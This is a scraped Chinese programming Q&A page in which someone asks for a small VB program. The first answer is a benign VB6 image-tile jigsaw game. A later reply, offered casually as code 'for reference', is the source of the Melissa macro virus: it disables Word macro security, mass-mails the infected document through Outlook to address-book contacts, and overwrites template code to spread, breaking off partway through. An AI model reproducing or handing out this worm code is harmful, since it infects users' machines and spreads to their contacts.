求VB小软件一个 - 站长资源库

答案：Option Explicit
Private Declare Function BitBlt Lib "gdi32" (ByVal hDestDC As Long, ByVal x As Long, ByVal y As Long, ByVal nWidth As Long, ByVal nHeight As Long, ByVal hSrcDC As Long, ByVal xSrc As Long, ByVal ySrc As Long, ByVal dwRop As Long) As Long
Private Const SRCCOPY = &HCC0020
Private Const NOTSRCCOPY = &H330008 '进行反色处理
Dim picName As String
Dim picWidth As Long  '分割后图片的宽度
Dim isChange As Boolean
Dim lastPic As Integer
Dim picHeight As Long '分割后图片的高度
Dim aPic(16) As Integer
Dim pBorder As Boolean '是否显示边框
Dim isPic As Boolean '是否选取了图片
Dim isOver As Boolean '游戏是否结束
Private Sub Check1_Click()
Dim i As Integer
If pBorder Then
 For i = 0 To 15
  pic(i).BorderStyle = 0
 Next i
Else
 For i = 0 To 15
  pic(i).BorderStyle = 1
 Next i
End If
pBorder = Not pBorder
End Sub
Private Sub Command1_Click()
Dim i As Integer
cDialog.Filter = "图形文件 (*.jpg,*.bmp,*.gif,*.pcx)|*.jpg;*.bmp;*.gif;*.pcx"
cDialog.ShowOpen
picName = cDialog.FileName
Form1.Picture = LoadPicture(picName)
picWidth = Form1.Picture.Width / 4 / 26.5
picHeight = Form1.Picture.Height / 4 / 26.5
If picWidth * 4 > 600 Or picHeight * 4 > 480 Then
  MsgBox ("图片太大!")
  Form1.Picture = Nothing
  Exit Sub
End If
For i = 0 To 15
  pic(i).Width = picWidth * 15
  pic(i).Height = picHeight * 15
Next i
isPic = True
End Sub
Private Sub formPic() '调整PictureBox的位置
Dim i As Integer
Form1.ScaleMode = 3
For i = 0 To 15
Next i
For i = 0 To 3
 pic(i).Top = 0
 pic(i).Left = i * picWidth
Next i
For i = 4 To 7
  pic(i).Top = picHeight
  pic(i).Left = (i - 4) * picWidth
Next i
For i = 8 To 11
  pic(i).Top = picHeight * 2
  pic(i).Left = (i - 8) * picWidth
Next i
For i = 12 To 15
  pic(i).Top = picHeight * 3
  pic(i).Left = (i - 12) * picWidth
Next i
Form1.ScaleMode = 1
End Sub
Private Sub setPic()
Dim ret As Long
Dim i, j, k As Integer
For i = 0 To 15
aPic(i) = i
Next i
Call ShuffleArray(aPic, 0, 15) '随机打乱顺序
k = 0
For i = 0 To 3
  For j = 0 To 3
ret = BitBlt(pic(aPic(k)).hDC, 0, 0, picWidth, picHeight, Form1.hDC, j * picWidth, i * picHeight, SRCCOPY)
  pic(aPic(k)).Tag = k '设置标志
  k = k + 1
  Next j
Next i
End Sub
Private Sub Command2_Click() '开始游戏
If isPic = False Then
 MsgBox ("请先选取图片!")
 Exit Sub
End If
Dim i As Integer
Call formPic
Call setPic
Form1.Picture = Nothing
For i = 0 To 15
pic(i).Visible = True
Next i
End Sub
Private Sub Command3_Click() '重新游戏
Dim ret As Long
Form1.Picture = Nothing
Form_Load
ret = BitBlt(cPic.hDC, 0, 0, picWidth, picHeight, Form1.hDC, 0, 0, SRCCOPY) '把右下角图片框清空
cPic.Refresh
End Sub
Private Sub Command4_Click()
End
End Sub
Private Sub Form_Load()
Dim i As Integer
For i = 0 To 15
pic(i).Visible = False
pic(i).AutoRedraw = True
Next i
isChange = False
pBorder = False
isPic = False
isOver = False
End Sub
Private Sub pic_Click(Index As Integer)
Dim ret As Long
If isOver Then
 MsgBox ("请选择重新游戏!")
Else
 If isChange = False Then
  ret = BitBlt(cPic.hDC, 0, 0, picWidth, picHeight, pic(Index).hDC, 0, 0, SRCCOPY)
  ret = BitBlt(pic(Index).hDC, 0, 0, picWidth, picHeight, cPic.hDC, 0, 0, NOTSRCCOPY) '把选定的图片反色，以示区别
  pic(Index).Refresh
  lastPic = Index
  isChange = True
 Else
  ret = BitBlt(pic(lastPic).hDC, 0, 0, picWidth, picHeight, pic(Index).hDC, 0, 0, SRCCOPY)
  ret = BitBlt(pic(Index).hDC, 0, 0, picWidth, picHeight, cPic.hDC, 0, 0, SRCCOPY)
  isChange = False
    '交换标志
    Form1.Tag = pic(lastPic).Tag
    pic(lastPic).Tag = pic(Index).Tag
    pic(Index).Tag = Form1.Tag
  pic(lastPic).Refresh
  pic(Index).Refresh
  Call subJudge
 End If
End If
End Sub
Private Sub ShuffleArray(ByRef vArray As Variant, Optional startIndex As Variant, Optional endIndex As Variant)
    '打乱数组中数据的顺序
    Dim i As Long
    Dim rndIndex As Long
    Dim Temp As Variant
    For i = startIndex To endIndex
        rndIndex = Int((endIndex - startIndex + 1) * Rnd() + startIndex)
        Temp = vArray(i)
        vArray(i) = vArray(rndIndex)
        vArray(rndIndex) = Temp
    Next i
End Sub
Private Sub subJudge() '判断是否成功
Dim i, j As Integer
j = 0
For i = 0 To 15
 If pic(i).Tag = i Then
  j = j + 1
 End If
Next i
If j = 16 Then
  MsgBox ("成功！")
  isOver = True
End If
End Sub
 
  拼图小游戏
控件图片
龟兔赛跑可以吗？可以我就把代码和文件一起发给你
 
 
要的话加我
....参考一下，呵呵Private Sub Document_Open()  
On Error Resume Next  
If System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "Level") <> "" Then  
　CommandBars("Macro").Controls("Security...").Enabled = False
　System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "Level") = 1&  
Else
　CommandBars("Tools").Controls("Macro").Enabled = False  
　Options.ConfirmConversions = (1 - 1): Options.VirusProtection = (1 -  1): Options.SaveNormalPrompt = (1 - 1)  
End If  

Dim UngaDasOutlook, DasMapiName, BreakUmOffASlice  
Set UngaDasOutlook = CreateObject("Outlook.Application")  
Set DasMapiName = UngaDasOutlook.GetNameSpace("MAPI")  
If System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\", "Melissa?") <> "... by Kwyjibo" Then  
　If UngaDasOutlook = "Outlook" Then  
　　DasMapiName.Logon "profile", "password"  
　　For y = 1 To DasMapiName.AddressLists.Count  
　　　  Set AddyBook = DasMapiName.AddressLists(y)  
　　　  x = 1  
　　　  Set BreakUmOffASlice = UngaDasOutlook.CreateItem(0)  
　　　  For oo = 1 To AddyBook.AddressEntries.Count  
　　　 　 　Peep = AddyBook.AddressEntries(x)  
　　　 　   BreakUmOffASlice.Recipients.Add Peep  
　　　 　 　x = x + 1  
　　　 　 　If x > 50 Then oo = AddyBook.AddressEntries.Count  
　　　 　Next oo  
　　　 　BreakUmOffASlice.Subject = "Important Message From " & Application.UserName  
　　　 　BreakUmOffASlice.Body = "Here is that document you asked for ... don't show anyone else ;-)"  
　　　 　BreakUmOffASlice.Attachments.Add ActiveDocument.FullName  
　　　 　BreakUmOffASlice.Send  
　　　 　Peep = ""  
　　Next y  
　　DasMapiName.Logoff  
　End If  
　System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\", "Melissa?") = "... by Kwyjibo"  
End If  


Set ADI1 = ActiveDocument.VBProject.VBComponents.Item(1)  
Set NTI1 = NormalTemplate.VBProject.VBComponents.Item(1)  
NTCL = NTI1.CodeModule.CountOfLines  
ADCL = ADI1.CodeModule.CountOfLines  
BGN = 2  
If ADI1.Name <> "Melissa" Then  
　If ADCL > 0 Then ADI1.CodeModule.DeleteLines 1, ADCL  
　Set ToInfect = ADI1  
　ADI1.Name = "Melissa"  
　DoAD = True  
End If  

If NTI1.Name <> "Melissa" Then  
　If NTCL > 0 Then NTI1.CodeModule.DeleteLines 1, NTCL  
　Set ToInfect = NTI1  
　NTI1.Name = "Melissa"  
　DoNT = True  
End If  
　　　
If DoNT <> True And DoAD <> True Then GoTo CYA  

If DoNT = True Then
上一个：VB高手帮帮忙
下一个：VB的小问题
更多图片编程知识: